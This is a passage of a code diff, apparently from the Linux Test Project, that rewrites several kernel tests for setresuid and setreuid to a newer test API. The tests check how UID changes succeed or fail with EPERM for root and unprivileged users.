- *	setresuid03 [-c n] [-f] [-i n] [-I x] [-P x] [-t]
- *	where,  -c n : Run n copies concurrently.
- *		-e   : Turn on errno logging.
- *		-f   : Turn off functionality Testing.
- *		-i n : Execute test n times.
- *		-I x : Execute test for x seconds.
- *		-P x : Pause for x seconds between iterations.
- *		-t   : Turn on syscall timing.
- *
- * History
- *	07/2001 John George
- *		-Ported
- *
- * Restrictions
- * 	This test must be run by root.
- *	nobody and bin must be a valid users.
+ * Test that the setresuid system call sets the proper errno values when
+ * a non-root user attempts to change the real, effective or saved uid
+ * to a value other than one of the current uid, the current effective uid
+ * or the current saved uid.
  */
 
-#define _GNU_SOURCE 1
-#include <pwd.h>
-#include <stdlib.h>
-#include "test.h"
-#include <errno.h>
-#include <sys/wait.h>
+#include "tst_test.h"
+#include "tst_uid.h"
+#include "compat_tst_16.h"
 
-#include <compat_16.h>
+static uid_t root_uid, main_uid, other_uid, neg_one = -1;
 
-TCID_DEFINE(setresuid03);
-
-uid_t neg_one = -1;
-
-/* flag to tell parent if child passed or failed. */
-int flag = 0;
-
-uid_t root_pw_uid, nobody_pw_uid, bin_pw_uid;
-char user1name[] = "nobody";
-char user2name[] = "bin";
-char rootname[] = "root";
-
-struct passwd nobody, bin, root;
-
-/*
- * The following structure contains all test data.  Each structure in the array
- * is used for a separate test.  The tests are executed in the for loop below.
- */
-
-struct test_data_t {
+static struct test_data_t {
 	uid_t *real_uid;
 	uid_t *eff_uid;
 	uid_t *sav_uid;
 	int exp_errno;
-	struct passwd *exp_real_usr;
-	struct passwd *exp_eff_usr;
-	struct passwd *exp_sav_usr;
+	uid_t *exp_real_uid;
+	uid_t *exp_eff_uid;
+	uid_t *exp_sav_uid;
 	char *test_msg;
 } test_data[] = {
-	{
-	&nobody_pw_uid, &neg_one, &neg_one, EPERM, &root, &bin, &bin,
-		    "After setresuid(root, -1, -1),"}, {
-	&neg_one, &neg_one, &nobody_pw_uid, EPERM, &root, &bin, &bin,
-		    "After setresuid(-1, -1, bin),"}, {
-	&neg_one, &nobody_pw_uid, &neg_one, EPERM, &root, &bin, &bin,
-		    "After setresuid(-1, -1, bin),"}
+	{&other_uid, &neg_one, &neg_one, EPERM, &root_uid, &main_uid,
+		&main_uid, "setresuid(other, -1, -1)"},
+	{&neg_one, &neg_one, &other_uid, EPERM, &root_uid, &main_uid,
+		&main_uid, "setresuid(-1, -1, other)"},
+	{&neg_one, &other_uid, &neg_one, EPERM, &root_uid, &main_uid,
+		&main_uid, "setresuid(-1, other, -1)"}
 };
 
-int TST_TOTAL = sizeof(test_data) / sizeof(test_data[0]);
-
-void setup(void);
-void cleanup(void);
-
-void
-uid_verify(struct passwd *ru, struct passwd *eu, struct passwd *su, char *);
-
-int main(int ac, char **av)
+static void setup(void)
 {
-	int lc;
+	uid_t test_users[2];
 
-	tst_parse_opts(ac, av, NULL, NULL);
+	root_uid = getuid();
+	tst_get_uids(test_users, 0, 2);
+	main_uid = test_users[0];
+	other_uid = test_users[1];
 
-	setup();
+	UID16_CHECK(root_uid, setresuid);
+	UID16_CHECK(main_uid, setresuid);
+	UID16_CHECK(other_uid, setresuid);
 
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		int i, pid;
-
-		/* reset tst_count in case we are looping */
-		tst_count = 0;
-
-		/* set the appropriate ownership values */
-		if (setresuid(root_pw_uid, bin_pw_uid, bin_pw_uid)
-		    == -1) {
-			tst_brkm(TFAIL, cleanup, "Initial setresuid failed");
-		}
-
-		if ((pid = FORK_OR_VFORK()) == -1) {
-			tst_brkm(TBROK, cleanup, "fork failed");
-		} else if (pid == 0) {	/* child */
-
-			for (i = 0; i < TST_TOTAL; i++) {
-
-				/* Set the real, effective or saved user id */
-				TEST(SETRESUID(NULL, *test_data[i].real_uid,
-					       *test_data[i].eff_uid,
-					       *test_data[i].sav_uid));
-
-				if (TEST_RETURN == -1 && TEST_ERRNO ==
-				    test_data[i].exp_errno) {
-					tst_resm(TPASS, "setresuid(%d, %d, %d) "
-						 "failed as expected.",
-						 *test_data[i].real_uid,
-						 *test_data[i].eff_uid,
-						 *test_data[i].sav_uid);
-				} else {
-					tst_resm(TFAIL, "setresuid(%d, %d, %d) "
-						 "did not fail as expected.",
-						 *test_data[i].real_uid,
-						 *test_data[i].eff_uid,
-						 *test_data[i].sav_uid);
-					flag = -1;
-				}
-
-				uid_verify(test_data[i].exp_real_usr,
-					   test_data[i].exp_eff_usr,
-					   test_data[i].exp_sav_usr,
-					   test_data[i].test_msg);
-			}
-			exit(flag);
-		} else {	/* parent */
-			tst_record_childstatus(cleanup, pid);
-		}
-	}
-	cleanup();
-	tst_exit();
+	SAFE_SETRESUID(root_uid, main_uid, main_uid);
 }
 
-/*
- * setup()
- *	performs all ONE TIME setup for this test
- */
-void setup(void)
+static void run(unsigned int n)
 {
-	tst_require_root();
+	const struct test_data_t *tc = test_data + n;
 
-	tst_sig(FORK, DEF_HANDLER, cleanup);
+	TST_EXP_FAIL(SETRESUID(*tc->real_uid, *tc->eff_uid, *tc->sav_uid),
+		tc->exp_errno, "%s", tc->test_msg);
 
-	if (getpwnam("nobody") == NULL) {
-		tst_brkm(TBROK, NULL, "nobody must be a valid user.");
-	}
+	if (!TST_PASS)
+		return;
 
-	if (getpwnam("bin") == NULL) {
-		tst_brkm(TBROK, NULL, "bin must be a valid user.");
-	}
-
-	root = *(getpwnam("root"));
-	UID16_CHECK((root_pw_uid = root.pw_uid), "setresuid", cleanup)
-
-	nobody = *(getpwnam("nobody"));
-	UID16_CHECK((nobody_pw_uid = nobody.pw_uid), "setresuid", cleanup)
-
-	bin = *(getpwnam("bin"));
-	UID16_CHECK((bin_pw_uid = bin.pw_uid), "setresuid", cleanup)
-
-	/* Pause if that option was specified
-	 * TEST_PAUSE contains the code to fork the test with the -i option.
-	 * You want to make sure you do this before you create your temporary
-	 * directory.
-	 */
-	TEST_PAUSE;
+	tst_check_resuid(tc->test_msg, *tc->exp_real_uid, *tc->exp_eff_uid,
+		*tc->exp_sav_uid);
 }
 
-/*
- * cleanup()
- *	performs all ONE TIME cleanup for this test at
- *	completion or premature exit
- */
-void cleanup(void)
-{
-
-}
-
-void
-uid_verify(struct passwd *ru, struct passwd *eu, struct passwd *su, char *when)
-{
-	uid_t cur_ru, cur_eu, cur_su;
-	if (getresuid(&cur_ru, &cur_eu, &cur_su) != 0) {
-		flag = -1;
-		tst_brkm(TBROK, cleanup, "Set getresuid() failed");
-	}
-	if ((cur_ru != ru->pw_uid) || (cur_eu != eu->pw_uid) || (cur_su !=
-								 su->pw_uid)) {
-		tst_resm(TFAIL, "ERROR: %s real uid = %d; effective uid = %d; "
-			 "saved uid = %d", when, cur_ru, cur_eu, cur_su);
-		tst_resm(TINFO, "Expected: real uid = %d, effective uid = %d "
-			 "saved uid = %d", ru->pw_uid, eu->pw_uid, su->pw_uid);
-		flag = -1;
-	} else {
-		tst_resm(TINFO, "real uid = %d, effective uid = %d, and "
-			 "saved uid = %d as expected", cur_ru, cur_eu, cur_su);
-	}
-}
+static struct tst_test test = {
+	.test = run,
+	.tcnt = ARRAY_SIZE(test_data),
+	.setup = setup,
+	.needs_root = 1,
+};
diff --git a/testcases/kernel/syscalls/setreuid/setreuid02.c b/testcases/kernel/syscalls/setreuid/setreuid02.c
index 695386c..2fa4cbc 100644
--- a/testcases/kernel/syscalls/setreuid/setreuid02.c
+++ b/testcases/kernel/syscalls/setreuid/setreuid02.c
@@ -1,145 +1,86 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) International Business Machines  Corp., 2001
- *
- * This program is free software;  you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY;  without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- * the GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program;  if not, write to the Free Software
- * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- *
- * Ported by John George
+ *    Ported by John George
+ * Copyright (C) 2021 SUSE LLC <mdoucha@suse.cz>
  */
 
-/*
+/*\
+ * [Description]
+ *
  * Test setreuid() when executed by root.
  */
 
-#include <errno.h>
+#include <sys/types.h>
 #include <pwd.h>
-#include <stdlib.h>
-#include <string.h>
 
-#include "test.h"
-#include "compat_16.h"
+#include "tst_test.h"
+#include "tst_uid.h"
+#include "compat_tst_16.h"
 
-TCID_DEFINE(setreuid02);
-
-static uid_t neg_one = -1;
-static struct passwd nobody, daemonpw, root, bin;
-
-/*
- * The following structure contains all test data.  Each structure in the array
- * is used for a separate test.  The tests are executed in the for loop below.
- */
+static uid_t root_uid, nobody_uid, other_uid, neg_one = -1;
 
 static struct test_data_t {
 	uid_t *real_uid;
 	uid_t *eff_uid;
-	struct passwd *exp_real_usr;
-	struct passwd *exp_eff_usr;
-	char *test_msg;
+	uid_t *exp_real_uid;
+	uid_t *exp_eff_uid;
+	uid_t *exp_sav_uid;
+	const char *test_msg;
 } test_data[] = {
-	{
-	&neg_one, &neg_one, &root, &root, "After setreuid(-1, -1),"}, {
-	&nobody.pw_uid, &neg_one, &nobody, &root, "After setreuid(nobody, -1)"},
-	{
-	&root.pw_uid, &neg_one, &root, &root, "After setreuid(root,-1),"}, {
-	&neg_one, &daemonpw.pw_uid, &root, &daemonpw,
-		    "After setreuid(-1, daemon)"}, {
-	&neg_one, &root.pw_uid, &root, &root, "After setreuid(-1,root),"}, {
-	&bin.pw_uid, &neg_one, &bin, &root, "After setreuid(bin, -1)"}, {
-&root.pw_uid, &neg_one, &root, &root, "After setreuid(-1, root)"},};
-
-int TST_TOTAL = ARRAY_SIZE(test_data);
-
-static void setup(void);
-static void cleanup(void);
-static void uid_verify(struct passwd *ru, struct passwd *eu, char *when);
-
-int main(int ac, char **av)
-{
-	int lc;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		int i;
-
-		tst_count = 0;
-
-		for (i = 0; i < TST_TOTAL; i++) {
-			/* Set the real or effective user id */
-			TEST(SETREUID(cleanup, *test_data[i].real_uid,
-				      *test_data[i].eff_uid));
-
-			if (TEST_RETURN == -1) {
-				tst_resm(TBROK, "setreuid(%d, %d) failed",
-					 *test_data[i].real_uid,
-					 *test_data[i].eff_uid);
-			} else {
-				uid_verify(test_data[i].exp_real_usr,
-					   test_data[i].exp_eff_usr,
-					   test_data[i].test_msg);
-			}
-		}
-	}
-	cleanup();
-	tst_exit();
-}
+	{&neg_one, &neg_one, &root_uid, &root_uid, &root_uid,
+		"setreuid(-1, -1)"},
+	{&nobody_uid, &neg_one, &nobody_uid, &root_uid, &root_uid,
+		"setreuid(nobody, -1)"},
+	{&root_uid, &neg_one, &root_uid, &root_uid, &root_uid,
+		"setreuid(root, -1)"},
+	{&neg_one, &nobody_uid, &root_uid, &nobody_uid, &nobody_uid,
+		"setreuid(-1, nobody)"},
+	{&neg_one, &root_uid, &root_uid, &root_uid, &nobody_uid,
+		"setreuid(-1, root)"},
+	{&other_uid, &neg_one, &other_uid, &root_uid, &root_uid,
+		"setreuid(other, -1)"},
+	{&root_uid, &neg_one, &root_uid, &root_uid, &root_uid,
+		"setreuid(root, -1)"},
+};
 
 static void setup(void)
 {
-	tst_require_root();
+	uid_t test_users[2];
+	struct passwd *pw;
 
-	tst_sig(FORK, DEF_HANDLER, cleanup);
+	root_uid = getuid();
+	pw = SAFE_GETPWNAM("nobody");
+	nobody_uid = test_users[0] = pw->pw_uid;
+	tst_get_uids(test_users, 1, 2);
+	other_uid = test_users[1];
 
-	if (getpwnam("nobody") == NULL)
-		tst_brkm(TBROK, NULL, "nobody must be a valid user.");
+	UID16_CHECK(root_uid, setreuid);
+	UID16_CHECK(nobody_uid, setreuid);
+	UID16_CHECK(other_uid, setreuid);
 
-	if (getpwnam("daemon") == NULL)
-		tst_brkm(TBROK, NULL, "daemon must be a valid user.");
-
-	if (getpwnam("bin") == NULL)
-		tst_brkm(TBROK, NULL, "bin must be a valid user.");
-
-	root = *(getpwnam("root"));
-	UID16_CHECK(root.pw_uid, setreuid, cleanup);
-
-	nobody = *(getpwnam("nobody"));
-	UID16_CHECK(nobody.pw_uid, setreuid, cleanup);
-
-	daemonpw = *(getpwnam("daemon"));
-	UID16_CHECK(daemonpw.pw_uid, setreuid, cleanup);
-
-	bin = *(getpwnam("bin"));
-	UID16_CHECK(bin.pw_uid, setreuid, cleanup);
-
-	TEST_PAUSE;
+	/* Make sure that saved UID is also set to root */
+	SAFE_SETUID(root_uid);
 }
 
-static void cleanup(void)
+static void run(unsigned int n)
 {
+	const struct test_data_t *tc = test_data + n;
+
+	TST_EXP_PASS_SILENT(SETREUID(*tc->real_uid, *tc->eff_uid), "%s",
+		tc->test_msg);
+
+	if (!TST_PASS)
+		return;
+
+	if (tst_check_resuid(tc->test_msg, *tc->exp_real_uid, *tc->exp_eff_uid,
+		*tc->exp_sav_uid))
+		tst_res(TPASS, "%s works as expected", tc->test_msg);
 }
 
-static void uid_verify(struct passwd *ru, struct passwd *eu, char *when)
-{
-	if ((getuid() != ru->pw_uid) || (geteuid() != eu->pw_uid)) {
-		tst_resm(TFAIL, "ERROR: %s real uid = %d; effective uid = %d",
-			 when, getuid(), geteuid());
-		tst_resm(TFAIL, "Expected: real uid = %d; effective uid = %d",
-			 ru->pw_uid, eu->pw_uid);
-	} else {
-		tst_resm(TPASS, "real or effective uid was modified as "
-			 "expected");
-	}
-}
+static struct tst_test test = {
+	.test = run,
+	.tcnt = ARRAY_SIZE(test_data),
+	.setup = setup,
+	.needs_root = 1,
+};
diff --git a/testcases/kernel/syscalls/setreuid/setreuid03.c b/testcases/kernel/syscalls/setreuid/setreuid03.c
index ecf30d6..e83a358 100644
--- a/testcases/kernel/syscalls/setreuid/setreuid03.c
+++ b/testcases/kernel/syscalls/setreuid/setreuid03.c
@@ -1,190 +1,104 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
  * Copyright (c) International Business Machines  Corp., 2001
- *
- * This program is free software;  you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY;  without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- * the GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program;  if not, write to the Free Software
- * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- *
- * Ported by John George
+ *    Ported by John George
+ * Copyright (C) 2021 SUSE LLC <mdoucha@suse.cz>
  */
 
-/*
+/*\
+ * [Description]
+ *
  * Test setreuid() when executed by an unpriviledged user.
  */
 
-#include <errno.h>
+#include <sys/types.h>
 #include <pwd.h>
-#include <stdlib.h>
 
-#include "test.h"
-#include "safe_macros.h"
-#include "compat_16.h"
+#include "tst_test.h"
+#include "tst_uid.h"
+#include "compat_tst_16.h"
 
-#define FAILED  1
-
-TCID_DEFINE(setreuid03);
-
-static int fail = -1;
-static int pass;
-static uid_t neg_one = -1;
-
-static struct passwd nobody, bin, root;
-
-/*
- * The following structure contains all test data.  Each structure in the array
- * is used for a separate test.  The tests are executed in the for loop below.
- */
+static uid_t root_uid, nobody_uid, other_uid, neg_one = -1;
 
 static struct test_data_t {
 	uid_t *real_uid;
 	uid_t *eff_uid;
-	int *exp_ret;
-	struct passwd *exp_real_usr;
-	struct passwd *exp_eff_usr;
-	char *test_msg;
+	int exp_ret;
+	uid_t *exp_real_uid;
+	uid_t *exp_eff_uid;
+	uid_t *exp_sav_uid;
+	const char *test_msg;
 } test_data[] = {
-	{
-	&nobody.pw_uid, &nobody.pw_uid, &pass, &nobody, &nobody,
-		    "After setreuid(nobody, nobody),"}, {
-	&neg_one, &nobody.pw_uid, &pass, &nobody, &nobody,
-		    "After setreuid(-1, nobody),"}, {
-	&nobody.pw_uid, &neg_one, &pass, &nobody, &nobody,
-		    "After setreuid(nobody, -1),"}, {
-	&neg_one, &neg_one, &pass, &nobody, &nobody, "After setreuid(-1, -1),"},
-	{
-	&neg_one, &root.pw_uid, &fail, &nobody, &nobody,
-		    "After setreuid(-1, root),"}, {
-	&root.pw_uid, &neg_one, &fail, &nobody, &nobody,
-		    "After setreuid(root, -1),"}, {
-	&root.pw_uid, &root.pw_uid, &fail, &nobody, &nobody,
-		    "After setreuid(root, root),"}, {
-	&root.pw_uid, &nobody.pw_uid, &fail, &nobody, &nobody,
-		    "After setreuid(root, nobody),"}, {
-	&root.pw_uid, &bin.pw_uid, &fail, &nobody, &nobody,
-		    "After setreuid(root, nobody),"}, {
-	&bin.pw_uid, &root.pw_uid, &fail, &nobody, &nobody,
-		    "After setreuid(bin, root),"}, {
-	&bin.pw_uid, &neg_one, &fail, &nobody, &nobody,
-		    "After setreuid(bin, -1),"}, {
-	&bin.pw_uid, &bin.pw_uid, &fail, &nobody, &nobody,
-		    "After setreuid(bin, bin,),"}, {
-	&bin.pw_uid, &nobody.pw_uid, &fail, &nobody, &nobody,
-		    "After setreuid(bin, nobody),"}, {
-	&nobody.pw_uid, &bin.pw_uid, &fail, &nobody, &nobody,
-		    "After setreuid(nobody, bin),"},};
-
-int TST_TOTAL = ARRAY_SIZE(test_data);
-
-static void setup(void);
-static void cleanup(void);
-static void uid_verify(struct passwd *, struct passwd *, char *);
-
-int main(int ac, char **av)
-{
-	int lc;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		int i;
-
-		tst_count = 0;
-
-		for (i = 0; i < TST_TOTAL; i++) {
-
-			/* Set the real or effective user id */
-			TEST(SETREUID(cleanup, *test_data[i].real_uid,
-				      *test_data[i].eff_uid));
-
-			if (TEST_RETURN == *test_data[i].exp_ret) {
-				if (TEST_RETURN == neg_one) {
-					if (TEST_ERRNO != EPERM) {
-						tst_resm(TFAIL,
-							 "setreuid(%d, %d) "
-							 "did not set errno "
-							 "value as expected.",
-							 *test_data[i].real_uid,
-							 *test_data[i].eff_uid);
-						continue;
-					}
-					tst_resm(TPASS, "setreuid(%d, %d) "
-						 "failed as expected.",
-						 *test_data[i].real_uid,
-						 *test_data[i].eff_uid);
-				} else {
-					tst_resm(TPASS, "setreuid(%d, %d) "
-						 "succeeded as expected.",
-						 *test_data[i].real_uid,
-						 *test_data[i].eff_uid);
-				}
-			} else {
-				tst_resm(TFAIL, "setreuid(%d, %d) "
-					 "did not return as expected.",
-					 *test_data[i].real_uid,
-					 *test_data[i].eff_uid);
-			}
-
-			if (TEST_RETURN == -1) {
-			}
-			uid_verify(test_data[i].exp_real_usr,
-				   test_data[i].exp_eff_usr,
-				   test_data[i].test_msg);
-		}
-	}
-
-	cleanup();
-	tst_exit();
-}
+	{&nobody_uid, &nobody_uid, 0, &nobody_uid, &nobody_uid, &nobody_uid,
+		"setreuid(nobody, nobody)"},
+	{&neg_one, &nobody_uid, 0, &nobody_uid, &nobody_uid, &nobody_uid,
+		"setreuid(-1, nobody)"},
+	{&nobody_uid, &neg_one, 0, &nobody_uid, &nobody_uid, &nobody_uid,
+		"setreuid(nobody, -1)"},
+	{&neg_one, &neg_one, 0, &nobody_uid, &nobody_uid, &nobody_uid,
+		"setreuid(-1, -1)"},
+	{&neg_one, &root_uid, -1, &nobody_uid, &nobody_uid, &nobody_uid,
+		"setreuid(-1, root)"},
+	{&root_uid, &neg_one, -1, &nobody_uid, &nobody_uid, &nobody_uid,
+		"setreuid(root, -1)"},
+	{&root_uid, &root_uid, -1, &nobody_uid, &nobody_uid,
+		&nobody_uid, "setreuid(root, root)"},
+	{&root_uid, &nobody_uid, -1, &nobody_uid, &nobody_uid,
+		&nobody_uid, "setreuid(root, nobody)"},
+	{&root_uid, &other_uid, -1, &nobody_uid, &nobody_uid,
+		&nobody_uid, "setreuid(root, other)"},
+	{&other_uid, &root_uid, -1, &nobody_uid, &nobody_uid,
+		&nobody_uid, "setreuid(other, root)"},
+	{&other_uid, &neg_one, -1, &nobody_uid, &nobody_uid,
+		&nobody_uid, "setreuid(other, -1)"},
+	{&other_uid, &other_uid, -1, &nobody_uid, &nobody_uid,
+		&nobody_uid, "setreuid(other, other)"},
+	{&other_uid, &nobody_uid, -1, &nobody_uid, &nobody_uid,
+		&nobody_uid, "setreuid(other, nobody)"},
+	{&nobody_uid, &other_uid, -1, &nobody_uid, &nobody_uid,
+		&nobody_uid, "setreuid(nobody, other)"},
+};
 
 static void setup(void)
 {
-	tst_require_root();
+	uid_t test_users[2];
+	struct passwd *pw;
 
-	tst_sig(FORK, DEF_HANDLER, cleanup);
+	root_uid = getuid();
+	pw = SAFE_GETPWNAM("nobody");
+	nobody_uid = test_users[0] = pw->pw_uid;
+	tst_get_uids(test_users, 1, 2);
+	other_uid = test_users[1];
 
-	if (getpwnam("nobody") == NULL)
-		tst_brkm(TBROK, NULL, "nobody must be a valid user.");
+	UID16_CHECK(root_uid, setreuid);
+	UID16_CHECK(nobody_uid, setreuid);
+	UID16_CHECK(other_uid, setreuid);
 
-	if (getpwnam("bin") == NULL)
-		tst_brkm(TBROK, NULL, "bin must be a valid user.");
-
-	root = *(getpwnam("root"));
-	UID16_CHECK(root.pw_uid, setreuid, cleanup);
-
-	nobody = *(getpwnam("nobody"));
-	UID16_CHECK(nobody.pw_uid, setreuid, cleanup);
-
-	bin = *(getpwnam("bin"));
-	UID16_CHECK(bin.pw_uid, setreuid, cleanup);
-
-	SAFE_SETUID(NULL, nobody.pw_uid);
-
-	TEST_PAUSE;
+	SAFE_SETUID(nobody_uid);
 }
 
-static void cleanup(void)
+static void run(unsigned int n)
 {
-}
+	const struct test_data_t *tc = test_data + n;
 
-static void uid_verify(struct passwd *ru, struct passwd *eu, char *when)
-{
-	if ((getuid() != ru->pw_uid) || (geteuid() != eu->pw_uid)) {
-		tst_resm(TFAIL, "ERROR: %s real uid = %d; effective uid = %d",
-			 when, getuid(), geteuid());
-		tst_resm(TINFO, "Expected: real uid = %d; effective uid = %d",
-			 ru->pw_uid, eu->pw_uid);
+	if (tc->exp_ret) {
+		TST_EXP_FAIL(SETREUID(*tc->real_uid, *tc->eff_uid), EPERM,
+			"%s", tc->test_msg);
+	} else {
+		TST_EXP_PASS(SETREUID(*tc->real_uid, *tc->eff_uid), "%s",
+			tc->test_msg);
 	}
+
+	if (!TST_PASS)
+		return;
+
+	tst_check_resuid(tc->test_msg, *tc->exp_real_uid, *tc->exp_eff_uid,
+		*tc->exp_sav_uid);
 }
+
+static struct tst_test test = {
+	.test = run,
+	.tcnt = ARRAY_SIZE(test_data),
+	.setup = setup,
+	.needs_root = 1,
+};
diff --git a/testcases/kernel/syscalls/setreuid/setreuid05.c b/testcases/kernel/syscalls/setreuid/setreuid05.c
index 39b30f9..4c1c94ee 100644
--- a/testcases/kernel/syscalls/setreuid/setreuid05.c
+++ b/testcases/kernel/syscalls/setreuid/setreuid05.c
@@ -1,197 +1,121 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) International Business Machines  Corp., 2001
- *
- * This program is free software;  you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY;  without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- * the GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program;  if not, write to the Free Software
- * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- *
- * Ported by John George
+ *    Ported by John George
+ * Copyright (C) 2021 SUSE LLC <mdoucha@suse.cz>
  */
 
-/*
+/*\
+ * [Description]
+ *
  * Test the setreuid() feature, verifying the role of the saved-set-uid
  * and setreuid's effect on it.
  */
 
-#include <errno.h>
+#include <sys/types.h>
 #include <pwd.h>
 #include <stdlib.h>
-#include <sys/wait.h>
 
-#include "test.h"
-#include "compat_16.h"
+#include "tst_test.h"
+#include "tst_uid.h"
+#include "compat_tst_16.h"
 
-TCID_DEFINE(setreuid05);
-
-static int fail = -1;
-static int pass;
-static uid_t neg_one = -1;
-
-static struct passwd nobody, daemonpw, root, bin;
+static uid_t root_uid, nobody_uid, main_uid, other_uid, neg_one = -1;
 
 struct test_data_t {
 	uid_t *real_uid;
 	uid_t *eff_uid;
-	int *exp_ret;
-	struct passwd *exp_real_usr;
-	struct passwd *exp_eff_usr;
-	char *test_msg;
+	int exp_ret;
+	uid_t *exp_real_uid;
+	uid_t *exp_eff_uid;
+	uid_t *exp_sav_uid;
+	const char *test_msg;
 } test_data[] = {
-	{
-	&nobody.pw_uid, &root.pw_uid, &pass, &nobody, &root, "Initially"}, {
-	&neg_one, &nobody.pw_uid, &pass, &nobody, &nobody,
-		    "After setreuid(-1, nobody),"}, {
-	&neg_one, &root.pw_uid, &pass, &nobody, &root,
-		    "After setreuid(-1, root),"}, {
-	&daemonpw.pw_uid, &neg_one, &pass, &daemonpw, &root,
-		    "After setreuid(daemon, -1),"}, {
-	&neg_one, &bin.pw_uid, &pass, &daemonpw, &bin,
-		    "After setreuid(-1, bin),"}, {
-	&neg_one, &root.pw_uid, &fail, &daemonpw, &bin,
-		    "After setreuid(-1, root),"}, {
-	&neg_one, &nobody.pw_uid, &fail, &daemonpw, &bin,
-		    "After setreuid(-1, nobody),"}, {
-	&neg_one, &daemonpw.pw_uid, &pass, &daemonpw, &daemonpw,
-		    "After setreuid(-1, daemon),"}, {
-	&neg_one, &bin.pw_uid, &pass, &daemonpw, &bin,
-		    "After setreuid(-1, bin),"}, {
-	&bin.pw_uid, &daemonpw.pw_uid, &pass, &bin, &daemonpw,
-		    "After setreuid(bin, daemon),"}, {
-	&neg_one, &bin.pw_uid, &pass, &bin, &bin, "After setreuid(-1, bin),"},
-	{
-	&neg_one, &daemonpw.pw_uid, &pass, &bin, &daemonpw,
-		    "After setreuid(-1, daemon),"}, {
-	&daemonpw.pw_uid, &neg_one, &pass, &daemonpw, &daemonpw,
-		    "After setreuid(daemon, -1),"}, {
-	&neg_one, &bin.pw_uid, &fail, &daemonpw, &daemonpw,
-		    "After setreuid(-1, bin),"},};
-
-int TST_TOTAL = ARRAY_SIZE(test_data);
-
-static void setup(void);
-static void cleanup(void);
-static void uid_verify(struct passwd *, struct passwd *, char *);
-
-int main(int argc, char **argv)
-{
-	int lc;
-
-	tst_parse_opts(argc, argv, NULL, NULL);
-
-	setup();
-
-	pass = 0;
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		int i, pid;
-
-		tst_count = 0;
-
-		if ((pid = FORK_OR_VFORK()) == -1) {
-			tst_brkm(TBROK, cleanup, "fork failed");
-		} else if (pid == 0) {	/* child */
-			for (i = 0; i < TST_TOTAL; i++) {
-				/* Set the real or effective user id */
-				TEST(SETREUID(cleanup, *test_data[i].real_uid,
-					      *test_data[i].eff_uid));
-
-				if (TEST_RETURN == *test_data[i].exp_ret) {
-					if (TEST_RETURN == neg_one) {
-						if (TEST_ERRNO != EPERM) {
-							tst_resm(TFAIL,
-								 "setreuid(%d, %d) "
-								 "did not set errno "
-								 "value as expected.",
-								 *test_data
-								 [i].real_uid,
-								 *test_data
-								 [i].eff_uid);
-							continue;
-						}
-						tst_resm(TPASS,
-							 "setreuid(%d, %d) "
-							 "failed as expected.",
-							 *test_data[i].real_uid,
-							 *test_data[i].eff_uid);
-					} else {
-						tst_resm(TPASS,
-							 "setreuid(%d, %d) "
-							 "succeeded as expected.",
-							 *test_data[i].real_uid,
-							 *test_data[i].eff_uid);
-					}
-				} else {
-					tst_resm(TFAIL, "setreuid(%d, %d) "
-						 "did not return as expected.",
-						 *test_data[i].real_uid,
-						 *test_data[i].eff_uid);
-				}
-
-				if (TEST_RETURN == -1) {
-				}
-				uid_verify(test_data[i].exp_real_usr,
-					   test_data[i].exp_eff_usr,
-					   test_data[i].test_msg);
-			}
-			tst_exit();
-		} else {	/* parent */
-			tst_record_childstatus(cleanup, pid);
-		}
-	}
-	cleanup();
-	tst_exit();
-}
+	{&nobody_uid, &root_uid, 0, &nobody_uid, &root_uid, &root_uid,
+		"setreuid(nobody, root)"},
+	{&neg_one, &nobody_uid, 0, &nobody_uid, &nobody_uid, &root_uid,
+		"setreuid(-1, nobody)"},
+	{&neg_one, &root_uid, 0, &nobody_uid, &root_uid, &root_uid,
+		"setreuid(-1, root)"},
+	{&main_uid, &neg_one, 0, &main_uid, &root_uid, &root_uid,
+		"setreuid(main, -1)"},
+	{&neg_one, &other_uid, 0, &main_uid, &other_uid, &other_uid,
+		"setreuid(-1, other)"},
+	{&neg_one, &root_uid, -1, &main_uid, &other_uid, &other_uid,
+		"setreuid(-1, root)"},
+	{&neg_one, &nobody_uid, -1, &main_uid, &other_uid, &other_uid,
+		"setreuid(-1, nobody)"},
+	{&neg_one, &main_uid, 0, &main_uid, &main_uid, &other_uid,
+		"setreuid(-1, main)"},
+	{&neg_one, &other_uid, 0, &main_uid, &other_uid, &other_uid,
+		"setreuid(-1, other)"},
+	{&other_uid, &main_uid, 0, &other_uid, &main_uid, &main_uid,
+		"setreuid(other, main)"},
+	{&neg_one, &other_uid, 0, &other_uid, &other_uid, &main_uid,
+		"setreuid(-1, other)"},
+	{&neg_one, &main_uid, 0, &other_uid, &main_uid, &main_uid,
+		"setreuid(-1, main)"},
